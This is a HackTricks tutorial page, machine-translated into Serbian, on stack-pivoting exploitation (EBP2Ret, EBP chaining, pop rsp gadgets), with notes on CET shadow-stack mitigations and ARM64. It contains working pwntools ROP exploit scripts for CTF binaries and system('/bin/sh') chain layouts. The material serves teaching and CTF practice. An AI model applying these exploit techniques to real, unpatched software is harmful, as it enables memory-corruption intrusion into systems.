Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 11 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova tehnika koristi sposobnost manipulacije Base Pointer (EBP/RBP) da poveže izvršavanje više funkcija kroz pažljivu upotrebu frame pointer-a i leave; ret
instrukcijske sekvence.
Kao podsetnik, na x86/x86-64 leave
je ekvivalentno:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Napomene
- Na 64-bit, zamenite EBP→RBP i ESP→RSP. Semantika je ista.
- Neki kompajleri izostavljaju pokazivač okvira (vidi “EBP možda neće biti korišćen”). U tom slučaju,
leave
možda neće biti prisutan i ova tehnika neće raditi.
EBP2Ret
Ova tehnika je posebno korisna kada možete izmeniti sačuvani EBP/RBP, ali nemate direktan način da promenite EIP/RIP. Ona koristi ponašanje epiloga funkcije.
Ako, tokom izvršenja fvuln
, uspete da injektujete lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode/ROP lanca (plus 8 bajtova na amd64 / 4 bajta na x86 da bi se uzela u obzir pop
), možete indirektno kontrolisati RIP. Kada funkcija vrati, leave
postavlja RSP na kreiranu lokaciju, a sledeći pop rbp
smanjuje RSP, efikasno ga usmeravajući na adresu koju je napadač sačuvao tamo. Tada će ret
koristiti tu adresu.
Napomena kako morate znati 2 adrese: adresu na koju će ESP/RSP ići, i vrednost sačuvanu na toj adresi koju će ret
konzumirati.
Konstrukcija Eksploata
Prvo morate znati adresu na kojoj možete pisati proizvoljne podatke/adrese. RSP će pokazivati ovde i konzumiraće prvi ret
.
Zatim, morate izabrati adresu koju koristi ret
koja će preneti izvršenje. Možete koristiti:
- Validnu ONE_GADGET adresu.
- Adresu
system()
praćenu odgovarajućim povratkom i argumentima (na x86:ret
cilj =&system
, zatim 4 bajta smeća, zatim&"/bin/sh"
). - Adresu
jmp esp;
gadgeta (ret2esp) praćenu inline shellcode-om. - ROP lanac postavljen u memoriji koja se može pisati.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanoj oblasti, mora biti prostora za pop ebp/rbp
iz leave
(8B na amd64, 4B na x86). Možete iskoristiti ove bajtove da postavite drugi lažni EBP i zadržite kontrolu nakon što se prvi poziv vrati.
Off-By-One Eksploit
Postoji varijanta koja se koristi kada možete samo izmeniti najmanje značajan bajt sačuvanog EBP/RBP. U tom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa ret
mora deliti prva tri/pet bajtova sa originalnim EBP/RBP tako da prepisivanje od 1 bajta može preusmeriti. Obično se nizak bajt (offset 0x00) povećava da bi se skočilo što je dalje moguće unutar obližnje stranice/usaglašene oblasti.
Takođe je uobičajeno koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi RSP pokazuje unutar klizaljke i da se izvrši konačni ROP lanac.
EBP Lanci
Postavljanjem kontrolisane adrese u sačuvani EBP
slot steka i leave; ret
gadgeta u EIP/RIP
, moguće je premestiti ESP/RSP
na adresu koju kontroliše napadač.
Sada je RSP
pod kontrolom i sledeća instrukcija je ret
. Stavite u kontrolisanu memoriju nešto poput:
&(next fake EBP)
-> Učitano sapop ebp/rbp
izleave
.&system()
-> Pozvano saret
.&(leave;ret)
-> Nakon štosystem
završi, premesti RSP na sledeći lažni EBP i nastavlja.&("/bin/sh")
-> Argument zasystem
.
Na ovaj način je moguće povezati nekoliko lažnih EBPa kako bi se kontrolisao tok programa.
Ovo je kao ret2lib, ali složenije i korisno samo u ivicama.
Štaviše, ovde imate primer izazova koji koristi ovu tehniku sa stack leak da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI zahteva 16-bajtno poravnanje steka na mestima poziva. Ako vaša lanac poziva funkcije kao što je
system
, dodajte uređaj za poravnanje (npr.,ret
, ilisub rsp, 8 ; ret
) pre poziva kako biste održali poravnanje i izbeglimovaps
rušenja.
EBP možda neće biti korišćen
Kao objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama ili sa izostavljanjem pokazivača okvira, EBP/RBP nikada ne kontroliše ESP/RSP. Stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP/RBP će propasti jer prolog/epilog ne obnavlja sa pokazivača okvira.
- Nije optimizovano / pokazivač okvira korišćen:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano / pokazivač okvira izostavljen:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64 često ćete videti pop rbp ; ret
umesto leave ; ret
, ali ako je pokazivač okvira potpuno izostavljen, tada ne postoji rbp
-bazirani epilog kroz koji se može pivotirati.
Drugi načini za kontrolu RSP
pop rsp
gadget
Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za taj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je pop rsp
gadget i postoji leak sa steka:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Proverite ret2esp tehniku ovde:
Brzo pronalaženje pivot gadgeta
Koristite svoj omiljeni alat za pronalaženje gadgeta da biste pretražili klasične pivot primitivne:
leave ; ret
na funkcijama ili u bibliotekamapop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(iliadd esp, <imm> ; ret
na x86)
Primeri:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Класични образац за пивотирање
Робустна стратегија пивотирања која се користи у многим CTF-овима/експлоатима:
- Користите мали иницијални прелив да позовете
read
/recv
у велику област за писање (нпр.,.bss
, хип, или мапирана RW меморија) и поставите потпуну ROP ланцу тамо. - Вратите се у пивот гажет (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) да преместите RSP у ту област. - Наставите са постављеним ланцем (нпр., откријте libc, позовите
mprotect
, затимread
shellcode, а затим скочите на њега).
Савремене мере које прекидају пивотирање стека (CET/Shadow Stack)
Савремени x86 ЦПУ-ови и ОС-ови све више примењују CET Shadow Stack (SHSTK). Са укљученим SHSTK, ret
упоређује адресу повратка на нормалном стеку са хардверски заштићеним сенчним стеком; свака неслагања подижу Control-Protection грешку и убијају процес. Стога, технике као што су EBP2Ret/leave;ret-базирани пивоти ће се срушити чим се изврши први ret
из пивотираног стека.
- За позадину и дубље детаље погледајте:
- Брзи прегледи на Линуксу:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Beleške za labove/CTF:
-
Neke moderne distribucije omogućavaju SHSTK za CET-omogućene binarne datoteke kada su prisutni hardverska i glibc podrška. Za kontrolisano testiranje u VM-ovima, SHSTK se može onemogućiti sistemski putem parametra za pokretanje kernela
nousershstk
, ili selektivno omogućiti putem glibc podešavanja tokom pokretanja (vidi reference). Ne onemogućavajte mitigacije na produkcionim ciljevima. -
JOP/COOP ili SROP zasnovane tehnike bi mogle biti izvodljive na nekim ciljevima, ali SHSTK posebno prekida
ret
-zasnovane pivote. -
Napomena za Windows: Windows 10+ izlaže korisnički režim, a Windows 11 dodaje kernel-režim "Zaštita steka zasnovana na hardveru" izgrađena na senčanim stekovima. Procesi kompatibilni sa CET sprečavaju pivotiranje steka/ROP na
ret
; programeri se prijavljuju putem CETCOMPAT i povezanih politika (vidi referencu).
ARM64
U ARM64, prolog i epilog funkcija ne čuvaju i ne preuzimaju SP registar u steku. Štaviše, RET
instrukcija se ne vraća na adresu koju pokazuje SP, već na adresu unutar x30
.
Stoga, po defaultu, samo zloupotrebljavajući epilog nećete moći da kontrolišete SP registar prepisivanjem nekih podataka unutar steka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da kontrolišete x30
registar.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pokazuje na okvir zapisa
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Način da se izvede nešto slično pivotiranju steka u ARM64 bio bi da se može kontrolisati SP
(kontrolisanjem nekog registra čija se vrednost prosleđuje SP
ili zato što iz nekog razloga SP
uzima svoju adresu iz steka i imamo preliv) i zatim zloupotrebljavati epilog da se učita x30
registar iz kontrolisanog SP
i RET
na njega.
Takođe, na sledećoj stranici možete videti ekvivalent Ret2esp u ARM64:
Reference
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bita, eksploatacija off by one sa rop lancem koji počinje sa ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bita, bez relro, kanar, nx i pie. Program omogućava leak za stek ili pie i WWW za qword. Prvo dobijte leak steka i koristite WWW da se vratite i dobijete leak pie. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući
.fini_array
unose + pozivajući__libc_csu_fini
(više informacija ovde). Zloupotrebljavajući ovo "večito" pisanje, u .bss se piše ROP lanac i završava pozivajući ga pivotiranjem sa RBP. - Dokumentacija Linux kernela: Tehnologija za sprovođenje kontrole toka (CET) Senčani stek — detalji o SHSTK,
nousershstk
,/proc/$PID/status
zastavicama i omogućavanju putemarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Zaštita steka zasnovana na hardveru u režimu kernela (CET senčani stekovi na Windows-u). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.